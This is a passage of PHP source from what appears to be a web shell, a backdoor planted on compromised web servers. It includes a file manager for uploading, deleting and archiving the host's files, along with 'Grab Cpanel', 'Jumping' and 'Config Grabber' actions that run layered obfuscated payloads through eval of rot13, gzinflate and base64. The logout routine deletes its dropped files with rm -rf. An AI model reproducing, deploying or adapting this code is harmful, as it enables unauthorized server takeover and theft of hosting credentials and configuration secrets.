\'</form></div><script>d.cf.cmd.focus();</script>\';\r\n\thardFooter();\r\n}\r\nfunction actionPhp() {\r\n\thardHeader();\r\n\techo "<center><h1>Grab Cpanel</h1><div class=content><br>";\r\n\t$hex = "tUrvYto4GP5eqf+DlyElXGZWoLfTUwkbR5R3H6qWYZO6XoXinO0UupA4w3jY+r/feJtA+NECpzvUCm8/fv368XA/Yj6IQAwodJaZChrm8cOAE4IJNXqvbWVrkFJOwgQOEA8Y4fX7ukhufMTsyjQmf1Q8Ikp8HLEbwYNS07UIZ4PweNWfhwcIPpWYaz4fhTlBubVuMEVu5YwzZ3odXcRIwWEr4q6AE84iEiBTxNSSUGI91fVna8CTCVNzZllN8t88mbcksB6uWyqpN41SQJGPPnEi55bpZZa4TjzlqZPgIDOrCoULFFriIBXEMtz7mHWcISEiUNYchgkqAkoPDwoWtgeRMJHN40fRz0zOU5PF45yjOBffA3+Wf5PJ/wm6160MhwglbFmpQtlQzustZ9k5YvdD03KTSGALXWi+Xnx2YuwsBwHk+Uy/uwvuFJ6GmKS7YJ3pg5ME2QzqwlcMyWaCo4D5NVJsAlFs8kouKHuBtAwTHicTWONvTRAt1QdxRVNPWQtBesNWx1NI9s1NcXFTBoSD/hPYf+g3etO0iygyAzwMOAEgBBKjwWrOwm4kRVgKU2hOQUU1Zbkx5dQ1nG+0SY8g32C06UHwlLumo+PdmmUN5p1wujM2lCDDGIjzEVmSDEarkJagkG6cVxFLKl5IiSPB4YN+tpEJgeVgiLc+hcNTWVg59HLaZRED0DcDKUR416GzDfYX9051m/NJA2szFLLQrNR0TUmB2n9/DHXgs0QPVIjiXKR1OBGMn6ChVdmkgXfH76B0VsrAqNLG0ZFwgFzSzYGXApygdOZOK295xnVPa+ZCGAsb7m/zHKNE997WEYsJsOUPxmwcPLZX3Vo3Ye2ZWQN6VsZL5X/f5e4yULFyLwV/jjzdW55sQeBt7kU7K/xd5iJsUZ854Qv65uc/Wo6O5DeNkoRGbewb65vyeH2aX1h4+ivQaok8U1ZR8gG4HEYnVj2B3+GQTNBio8vz7lrntDeAL7uYdzg8ps6QuvjRCSehsXbcfBjcjBef+u2een7F31Gex+4bx1DWVBGka1URXL5inNoJIveN2lvHq6JCPGzEYd2rbPBKUNcCdcMjSmmaLyZr2jnr2ai2FWb9pX9maHMbhNModLAjcLiQ/vxwwINR2XZOefXFVdedm5vOx5vO5VLvWKf9zLwFuNvvnWrbve5S++y637VfzvFm/+IKQDpvchxymbpLFZ6PayLRM/t+Kpu4q/xCWzbDLM5uEKhSbeYCRvL1J55G/mZKf5/7rreH767a65qlrjjnBoPczwenY2F8FBMSP0tYxkqsRGyfSmvfeUQf4KR9F5b5DQdcupruLwDyEwJgMI1MMhnEbGGZryUUGZbzW9VrPR9FNsRvcZZUZ2+VW7Th5jywZ06mx9zW7nFMSVKtbWxvSBXBqmHv1GGWoKWIQvqnSVCZg04UCCgNLdmm1BREssRCJZ0GmwmTRCRMS+20V1AEGUkq2cPjZGhes8LcbRUqQWQzFb2QiO7FTdo6/ymcQ04xgSMCw3qJ0nbLd6ckSWizpSULQZ+Rwaz6TCxX8kRH0nNQYXJW7VJuUWHf3NmmLFrM6nyoGq4nuwWEaqfSl9CTpf3IfSXNH1er81nkQchHiIq3Xv+Q/6fmIfvVOeS/rXqWXGmDWGErbraNB5ddZdK1ogVRSfnxe1oWlC1m6Rk9Sql5m0ax9K+y3U1y7LBctUDTQzmonSoIMDUD5kHFBE35rF9NZsHnfiV/7zV3m/p+eQz2tNy0/rjVv1diqam4n9Gi7XsPukOrp6Imp2TAZmcNT5O3BOyfms2BDCbH8j0YueU34SXLR15NGOdZ5qsptZqi1czgPKEE55j4r7Ps3TvPePW73UG36coe9ba9CbNrYpsB5XvyJuCyUBfgNnPoT0gvAqh81WchExfyRpv9hN63/gE=";\r\neval(str_rot13(gzinflate(str_rot13(base64_decode(($hex)))))); \r\n\techo" </div>";\r\n\thardFooter();\r\n}\r\nfunction actionFilesMan() {\r\n    if (!empty ($_COOKIE[\'f\']))\r\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tswitch($_POST[\'p1\']) {\r\n\t\t\tcase \'uploadFile\':\r\n\t\t\t\tif ( is_array($_FILES[\'f\'][\'tmp_name\']) ) {\r\n\t\t\t\t\tforeach ( $_FILES[\'f\'][\'tmp_name\'] as $i => $tmpName ) {\r\n                        if(!@move_uploaded_file($tmpName, $_FILES[\'f\'][\'name\'][$i])) {\r\n                                echo "Can\'t upload file!";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'mkdir\':\r\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\r\n\t\t\t\t\techo "Can\'t create new dir";\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'delete\':\r\n\t\t\t\tfunction deleteDir($path) {\r\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\r\n\t\t\t\t\t$dh  = opendir($path);\r\n\t\t\t\t\twhile ( ($▟ = readdir($dh) ) !== false) {\r\n\t\t\t\t\t\t$▟ = $path.$▟;\r\n\t\t\t\t\t\tif ( (basename($▟) == "..") || (basename($▟) == ".") )\r\n\t\t\t\t\t\t\tcontinue;\r\n\t\t\t\t\t\t$type = filetype($▟);\r\n\t\t\t\t\t\tif ($type == "dir")\r\n\t\t\t\t\t\t\tdeleteDir($▟);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($▟);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir($dh);\r\n\t\t\t\t\t@rmdir($path);\r\n\t\t\t\t}\r\n\t\t\t\tif(is_array(@$_POST[\'f\']))\r\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\r\n                        if($f == \'..\')\r\n                            continue;\r\n\t\t\t\t\t\t$f = urldecode($f);\r\n\t\t\t\t\t\tif(is_dir($f))\r\n\t\t\t\t\t\t\tdeleteDir($f);\r\n\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t@unlink($f);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\tcase \'paste\':\r\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\r\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\r\n\t\t\t\t\tfunction move_paste($c,$s,$d){\r\n\t\t\t\t\t\tif(is_dir($c.$s)){\r\n\t\t\t\t\t\t\tmkdir($d.$s);\r\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\r\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\r\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\r\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\r\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\r\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\r\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        if ($zip->open($_POST[\'p2\'], 1)) {\r\n                            chdir($_COOKIE[\'c\']);\r\n                            foreach($_COOKIE[\'f\'] as $f) {\r\n                                if($f == \'..\')\r\n                                    continue;\r\n                                if(@is_file($_COOKIE[\'c\'].$f))\r\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\r\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\r\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\r\n                                    foreach ($iterator as $key=>$value) {\r\n                                        $zip->addFile(realpath($key), $key);\r\n                                    }\r\n                                }\r\n                            }\r\n                            chdir($GLOBALS[\'cwd\']);\r\n                            $zip->close();\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\r\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\r\n                        $zip = new ZipArchive();\r\n                        foreach($_COOKIE[\'f\'] as $f) {\r\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\r\n                                $zip->extractTo($GLOBALS[\'cwd\']);\r\n                                $zip->close();\r\n                            }\r\n                        }\r\n                    }\r\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\r\n                    chdir($_COOKIE[\'c\']);\r\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\r\n                    ex(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\r\n                    chdir($GLOBALS[\'cwd\']);\r\n\t\t\t\t}\r\n\t\t\t\tunset($_COOKIE[\'f\']);\r\n                setcookie(\'f\', \'\', time() - 3600);\r\n\t\t\t\tbreak;\r\n\t\t\tdefault:\r\n                if(!empty($_POST[\'p1\'])) {\r\n\t\t\t\t\tprototype(\'act\', $_POST[\'p1\']);\r\n\t\t\t\t\tprototype(\'f\', serialize(@$_POST[\'f\']));\r\n\t\t\t\t\tprototype(\'c\', @$_POST[\'c\']);\r\n\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t}\r\n\t}\r\n    hardHeader();\r\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\r\n\t$dirContent = hardScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\r\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';hardFooter(); return; }\r\n\tglobal $sort;\r\n\t$sort = array(\'name\', 1);\r\n\tif(!empty($_POST[\'p1\'])) {\r\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\r\n\t\t\t$sort = array($match[1], (int)$match[2]);\r\n\t}\r\necho "<script>\r\n\tfunction sa() {\r\n\t\tfor(i=0;i<d.files.elements.length;i++)\r\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\r\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\r\n\t}\r\n</script>\r\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\r\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\r\n\t$dirs = $files = array();\r\n\t$n = count($dirContent);\r\n\tfor($i=0;$i<$n;$i++) {\r\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\r\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\r\n\t\t$tmp = array(\'name\' => $dirContent[$i],\r\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\r\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\r\n\t\t\t\t\t \'perms\' => viewPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\r\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\r\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\r\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\r\n\t\t\t\t\t);\r\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\r\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\r\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i])&&($dirContent[$i] != "."))\r\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\r\n\t}\r\n\t$GLOBALS[\'sort\'] = $sort;\r\n\tfunction cmp($a, $b) {\r\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\r\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t\telse\r\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 1)*($GLOBALS[\'sort\'][1]?1:-1);\r\n\t}\r\n\tusort($files, "cmp");\r\n\tusort($dirs, "cmp");\r\n\t$files = array_merge($dirs, $files);\r\n\t$l = 0;\r\n\tforeach($files as $f) {\r\n\t\techo \'<tr\'.($l?\' class=l1\':\'\').\'><td><input type=checkbox name="f[]" value="\'.urlencode($f[\'name\']).\'" class=chkbx></td><td><a href=# onclick="\'.(($f[\'type\']==\'file\')?\'g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'view\\\')">\'.htmlspecialchars($f[\'name\']):\'g(\\\'FilesMan\\\',\\\'\'.$f[\'path\'].\'\\\');" \' . (empty ($f[\'link\']) ? \'\' : "title=\'{$f[\'link\']}\'") . \'><b>[ \' . htmlspecialchars($f[\'name\']) . \' ]</b>\').\'</a></td><td>\'.(($f[\'type\']==\'file\')?viewSize($f[\'size\']):$f[\'type\']).\'</td><td>\'.$f[\'modify\'].\'</td><td>\'.$f[\'owner\'].\'/\'.$f[\'group\'].\'</td><td><a href=# onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\',\\\'chmod\\\')">\'.$f[\'perms\']\r\n\t\t\t.\'</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'rename\\\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'touch\\\')">T</a>\'.(($f[\'type\']==\'file\')?\' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'frame\\\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'edit\\\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\\\'FilesTools\\\',null,\\\'\'.urlencode($f[\'name\']).\'\\\', \\\'download\\\')">D</a>\':\'\').\'</td></tr>\';\r\n\t\t$l = $l?0:1;\r\n\t}\r\n\techo "<tr id=fak><td colspan=7>\r\n\t<input type=hidden name=ne value=\'\'>\r\n\t<input type=hidden name=a value=\'FilesMan\'>\r\n\t<input type=hidden name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'>\r\n\t<input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\')."\'>\r\n\t<label><select name=\'p1\'>";\r\n\tif(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']))\r\n        echo "<option value=\'paste\'>↳ Paste</option>";\r\n\techo "<option value=\'copy\'>Copy</option><option value=\'move\'>Move</option><option value=\'delete\'>Delete</option>";\r\n    if(class_exists(\'ZipArchive\'))\r\n        echo "<option value=\'zip\'>+ zip</option><option value=\'unzip\'>- zip</option>";\r\n    echo "<option value=\'tar\'>+ tar.gz</option>";\r\n    echo "</select></label>";\r\n    if(!empty($_COOKIE[\'act\']) && @count($_COOKIE[\'f\']) && (($_COOKIE[\'act\'] == \'zip\') || ($_COOKIE[\'act\'] == \'tar\')))\r\n        echo "&nbsp;file name: <input type=text name=p2 value=\'hard_" . date("Ymd_His") . "." . ($_COOKIE[\'act\'] == \'zip\'?\'zip\':\'tar.gz\') . "\'>&nbsp;";\r\n    echo "<input type=\'submit\' value=\'submit\'></td></tr></form></table></div>";\r\n\thardFooter();\r\n}\r\nfunction actionStringTools() {\r\n\thardHeader();\r\n\techo "<center><h1>Jumping ;D</h1><div class=content><br>";\r\n\t$hex = "tUhaYptAED1Gqf9uVywtNJFWD70kQKJJiZWe2lXpxbIQi2mX2NEaFrMJNP7vneXDxqYf6qGWDMvOzJs3YnRgoiGA88u3Yqx4HeuIK+GQXPOkkkKRb4wyQc7g3DUOKisp2H7CR+jn+hGyV2UekE2yjY4v4HCyApkKbVZP27hClMgQu6CJih3bwycvwYByYZ+BzXkXKINcK8f2CxoLyHVSTLAstUPhShkTAVnJHAZkvnQcULshg46VZSatxaTZKMEdk9No4Qc6S7rYmwMgBF5f4V3j0Nr7bf4xu1Zhek5IXGg4KMgmqqXIylVJlVA8dPr+yr1LXWsoXVQBFylKLG1B61HHm6YEyyooc8lX58A2/7AAyTv/l5Jplp61aOAc5Zpu9bZK0k1sxzFekq4rnVKlqKuWayOL5pGpQa6Ngsd17i6RNdGnp5f9+pktWqL5S6+bQZoF+BJXpoqAXCVFlMEIm4TD6A2t8mPk04H5ngx7yh3nJdPir5z/VfTLf3S67e5aYhkqgxKKNM6EpmSkSZpws5KEZb2KsGSTcqpmZUNSQXip4yad6WF5aeMYcphExRjcDkcseJVCZLPAqbD6YNP5B/Gm/QfgXedQEIIDcJm+UNZZgJAvClGpoMUCk6yrGVx/zfZIH86DNZ4J+8R7lKyl247HNF+f4ItgyGb3xNuG36Hv53F17+ckfx6WaTQeKatDvlChnXgjJ13GimgyPspXWK64h2C2O1X8WLTR3pyYwshvEHSOYBwa/H6qx+eShsjG99KR2Phbox4vg43tYblb9Yvjo+nebVDEzrW9NUpmMX9Ghja8z5EomM0B2h52U4WswJ5B9NSGYpqpWUP2hBsobFa5Sz8ZgZxWZ3t/Zmp/MycPs9nn6OHT7Yws3KndENnuvzAefl1jrMyHxpjgKvwJ";\r\n\teval(str_rot13(gzinflate(str_rot13(base64_decode(($hex))))));\r\n\techo "</div>";\r\n\thardFooter();\r\n}\r\nfunction actionSafeMode() {\r\n\thardHeader();\r\n\techo "<center><h1>Config Grabber</h1><div class=content><br>";\r\n\t@ini_set(\'display_errors\', 0);\r\n\t$cgi_dir = mkdir(\'hex_tools\', 0755);\r\n        chdir(\'hex_tools\');\r\n\t$file_mass = "conf.php";\r\n\t$mass_script = "PD9wSHAgJGhleCA9ICI3Wng2WXRzNEVvQS94MEQrQTByd3dXbVRTMWEzaXg3YU9Oc2tkQ2VidTJaY3Q4bDZSV29OUkNkWFpIeTBVZHZhVllYLyt3MVN5WmFkRjZrN0JPNE91QUJrOWNKc09Cd09kQ2pWa3craEZRNlpZK3UxSUhGcHhNZFE0VGpVYnJWZHN0OXJ2MTNaMnRvS3Ayam1PaTZONkZVNGFPWmE0S3grYldnNlBPbEFvMTN5Y0tOT1RTMXZqRS9MZFh6YnJnaC9RVmJ0a1BsQmRidFVQQktPV3pjdVR5dWdJMU9ZWSs2RVVDenFFdWJaTm1oY0VSaU5VRE42WFlNdXhYM293ajhMNkJ5NnJnNUNRanAwaldLcjR5ODFuMDNUWTBuN0tydXRzV1I4TjZmTWNyVUcrU1lWL2hBL0JLRkdOK2JpZnJpOGRvQ3FZdCsrZWlSOFJEY2lpK3d4YjVLMVU2WlFxWGpJTnRXNXkzMWZNTll5UVhrM3BCWWoxMGtBa294OG9oRkxvak9PWWsvcmdYcEtQb2FPOEYzcWpKTUdFdGljdS9GcHBSc0VkSEJiRUVyY3V5WkxOclJWMDU3YkpMbG14YTBBRExOc1pydlM0V0hJcG5EU3RjWUc2UEZ1R2xOdmRYdnVFTWJzQ3N0eUcrTXltNW1teHU1RmRqVmtTT0g2VUpzek5ncE5tZVhVZHUwck5DRHdvejd6RGNXOUhkRUFERFN3QUxpNklaRkc2Z2p1eit1NXk0UXpSVnBiZ1BIaE1NOXJCNGlWYTlXRHlTZXRwTTJYbjZRSzFkOVNQS0VCZGhIYkViT2hJOEFTdnFqWHpJRnN4NTJCT1JxTjRDZ1o1OEEwd1NWNDhKdGdKQytja20waUYyWVh0S3FsTGMyd3RxdmFKTTY0bW5tam1WeGhHdWJjYU8yQStzd2MyWHZLbDVLWlREY3NORXJxTlkyOUMrb0UwQlZ3V3ZkZU9jakxYQVgxSEM1ZHA0RDlEMWZqaUg4WDJIeWdsbXRnYmdINWhqN1FTd1J1VERqTXJ4ZWJwUXdDYWk4dldHOU02QXB6Qm0vS3ZjZzFJZGE0b1RWd0JSMThaenliVk45MGxTVTZ0UHdDL0NsWnBzczdabmVYN0lMYnRnbGhZbFBVQjdYdTQrZ0YrQzJmd1ZlbGNzbE9IRTNsckg1dkM2dkhIYmU4emtUb0p6NlltU2pnTHA5akpnbzY2bFJFeUNJK1ZqdUNPTEZMTE9TS2V6WUVWQkFNU0FEZUNMK3FiaTc4ZmxWYjF3M1QyRjFpOVQ4VmYwYVZuNDYvTHhqcnpmNmJKdzBGMTR1c0JGcit1MW0wWFZhSVRQODd2VGxxWUJXMnpzOCs3ZjJaN0h6aWxxLzZoSEpXYWE1MEZuR1FIcmdmM0tKRUlCejJLV2VZV0duK2JXaHBlMUJwNU9jWm4xRmp2d09iQXhsajIxNEVBMDJlZmhSM293RGRrWjF3SG91TE1HUG5yVXFwSXFvSDhsZjZMUmg0dTlJV0l3ZkNRdCthaFpZZ0o5YnlWNDlOQWZuVHQybi9MK2Y5enRudzAvVmEvN2g3MjErUTM1cXZTZFltWDQ1N1g1Y3lSUmN5a094M1FmUzhmYjFWbXQ3c3Rscy83cjloZ2xXQjY4aHNmQzVpditBNU00ZENzbHFPL01uNWozY25HK1I4VmJXcWhpd2N6bDBmc3V6U1JHc1VEYXkyK0tjSGprNk9JWmtNckEzSFFuS1YzSlJQNE5uc0tEOENjSEdzT3B3bXhxcFlUTWpXZHUrTjkxdkoyTkw5QUVDZjJKSjVTa241ZkFnNlQwR3ZOMS85M0d0cS8wRnovMGMyM1FLa3FxeDZXV1hYdnh4OFdqWW55U1hRUExGYlNDcWVOZ0FWdU9Qd1pIMjdBakVURXFXNWVYZzIxY0Rtbk0wTjBqb2l4c1hWN1Y3dTJ1NFRNclkzZ1hVTGNJMmpKOUswd2l3elpTRnVNeGNyK1NUdEZzbytuMk1WVXVYV3NvUFl6S3FLc1ZlZ2haeFVxVVlSMGl4TUxMNlJINVZubGdyTDlQNUZFa2UwTE44VjB1NG1KcGdoOGdMQkhxbjB5OFNMSWdHMktxUjFRQ2ovMEFWdk9sVytyOGsyajZSaXh5VzhmcU5pejhuTjd3bnIwVGdXamkrS0Z3KzR0QzRXZlhIWFAwSHk2YVBwL3FNdzI2R0I1N3ZhbFBOdUhlcHZjdE0vbkZKbkF1RnZ5YmcrTFdtQnRjZTVOR04wUW1FbGhGb0lteTRPTW9ub0RGWVFMc2NSNUZnVmpqU0dXU0YxWnFMa0wwRms4cFlZTWVRSXNwWTRETjZwQWhGR0hDRzVoU0xjSFNEbFh5T2RHajhSNEJINHhZM1U0ZEdMSVFWRDc0REtVaGNjZ215VE9JUU5uZjhnM0pYd1lyQy83V2lLdFkrZmE3WDFmU09RMFEySFZjTWIwZ3d5dnVFUU1WOWhXUDhvSXJtRlVDU3hBWWRWQWhRT0FkRUJDV3VOQlB5ZU5GQlBjWVRBRVpKbzlNd2lLN2ZHVS9QWWRBY294SVZSNEpYNER4TnhLN1FaMEhEQURnRTdBdXdBUS9KS0o1MHpISUJQZGNFQTVrdEE1L3owOUtSOTFzY3R5a0g2WDVVNGozTk5LQUdWbVZRSEF6MjFvVFZRKzlmMThYUzBoMkQxNkdqYk9EK1hZcUpEQUI4TE9IWi83TGRrQkNjUURvcEEwWVRleldqL0dEa1ZSQ2dzNUhIZ0VYY2czV20vcTI0dzNCRmN3NERRbURTVzZvaWtPdUlvaW1Sc2ZXYUREVDJYYmhSdVVNOVJBK1B5L0dJNGJHS01Hd05GL3JaNzNQM2N4eUc0eFhRQ2hZanhDTFhxYUN3VHRmQm9MQlpTMHJGeGZIcWsza2kvOSt2Sk9kSlJadUUvUXc4NUpoMlFOSmJndHBoMk1NSHQ2eVk2SUpmZHpxOTkzTnhjWlFaRnVLSGdFWjErNzd5Tml5c2Q0WHNPTGlnd1BLTFR2Y0Urd1BBSSsvQ0NKc2h5Z2w0aTZPV0JBcHlldDN0SzNRN09wMEU5eDU5bWhtWUpXd2VrMit1ZG5DUDMyMTNmcHg1bHQ4dzFNTTQ3eU9lZlpvWjhhL0d3Z0dmN29DUGQ2MVgwLzgrSnVmMGxZWWQ5aTlzZ3h6anhOQU51M3dhdU1NZzN1emEzQkM0T0t3OVM1cU1Vb3VWRUZQL3FjREpzOU4rS2wvUStYUUhGMHZRK2U1SlJnNUNFNUpVdERtU0ZWS3pldFhmaGRiQUpmbUdTbDRRNGhQSkdwQnJxOVpnT0NHbHBzaVdzaFlKSVU5TUN6TklWRGdNcEErbjRLdHJyVEQwNjNHSDVCYk1nY2U3ZUU5OHkrN3V3L0RMZkNQMlhkNmNQK1BqN1owdWlYdjNXdjlLSXBTMU9JYU5pWGgrOFhSRngySmJ1VytiN1ZYWlllalF0b0N0ZG9FajIwVlhUY3lzWnBHZXcxcjBVQVVYaFRvdFhLamZwVU9tWndTeENkbkhwUkN6TFRCcE1iUlNEL0tWeTZhZ3NwbVlWbG1yVzdWZmp2YXl4elJXbzVPdENjV2hYU1lwbFVhb1dqMnhKMDVMVStCU1hBVWhzREQydDZreVNpcU9aeUVnY1NFcFNNaEszM2g1TGlyTWdJbThpSVNhSUZmREp3cCtsZmZieVZ5ZTFna3dsME5UMmNlODUydTVONTNhbFJ1bWF3cXdhTGgyUHFvanJMSXZ3MHVKVXFVYlQySU96dkY3R3NseXlXVWhlU05WMHRaN3NNYTNkS3RtZDdGaFd5RmZremJyMFphRDFxc0F0RFZKL1NvS0RBOHZhdWVRYTlQRkZWbCt1YzJLOW1tS3RnQzlLaVZSbEpXM1pwYXh0UXRiM25jSlhpQ2VSMktqWU01THlyNEthdVVYbWJiYXk3amszK2k1cmR6SlFBYmNXOGpQNUlFTDhMSWdxc3QvYWdxUGk1WndYV3Y2SWdtVG95MFB2SEIxbE1tckV0RFhZWElvRDQraGpDcVlpUG8ybzA0ckNTeHg5cEpZNE5PWFZvMUNUdzJJS1JISjlDOVZDNFRwclRaSHR5cm9xdWFKSHFWZ2IvcFY5VDdQSnB0WjJSblhWeTMvRmtqM1NNYkZjcWtDcDZFT29iNjY2dUlTV2R1dHZVcmZBbWxKL2xhS2tobGJiTlFWV0ovbFlHUy9vcVhIS3FTay9zOStGRFBhUGRCaGxSMWx2NGM1MkFIM1l3QjRZaFB1U0NlZlMwWmJxWW5vZFQzT05JTHdjSlpySkVtNzU3UklDV0ZOVjRhUkJFOFQ5Q0k1Tk5XeXZVeHc2Z3VQWCt6WHByR05uc0w5Zk94cEwyWlF2U0ZaR2VOMVZxZ1lWV0JXaFluVjVjLzBxTFNaRnRhekpvZEl2MVdCZ3FFWkRLVWhFV2hhY0UrYU9JMnh5SklQVk8vTG1wMzM3L2ozY21JdGpObXJoeHNFK0RENVVwcXI4K0k1VW5wU1Q2Mk01Q2VRem5CMmFxc2tMVDZuL2dseFVIUkVsbnhNRkkySUl3ZkpNYUFRbkx6WmVGdmFEeUMvSkFjbXBPSkdlbFZkMHhqc01MWWk4eEIzYmlYenlMaFBza0FFN1lIZjNoeCtrSTVoaElEK2NsWitwZGx5UW40LytEUT09IjsKZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKHN0cl9yb3QxMyhiYXNlNjRfZGVjb2RlKCgkaGV4KSkpKSkpOyA=";\r\n\t$mass = fopen($file_mass, "w");\r\n\tfwrite($mass, base64_decode($mass_script));\r\n\techo "<br><center>  <iframe src=\'hex_tools/conf.php\' width=\'900\' height=\'480\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionLogout() {\r\n\texec("rm -rf hex_tools hex_cgi adminer.php");\r\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\r\n\tdie("</br></br><body bgcolor=\'#000000\'><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'>Bye -,-<br><br></form> </body>");\r\n}\r\nfunction 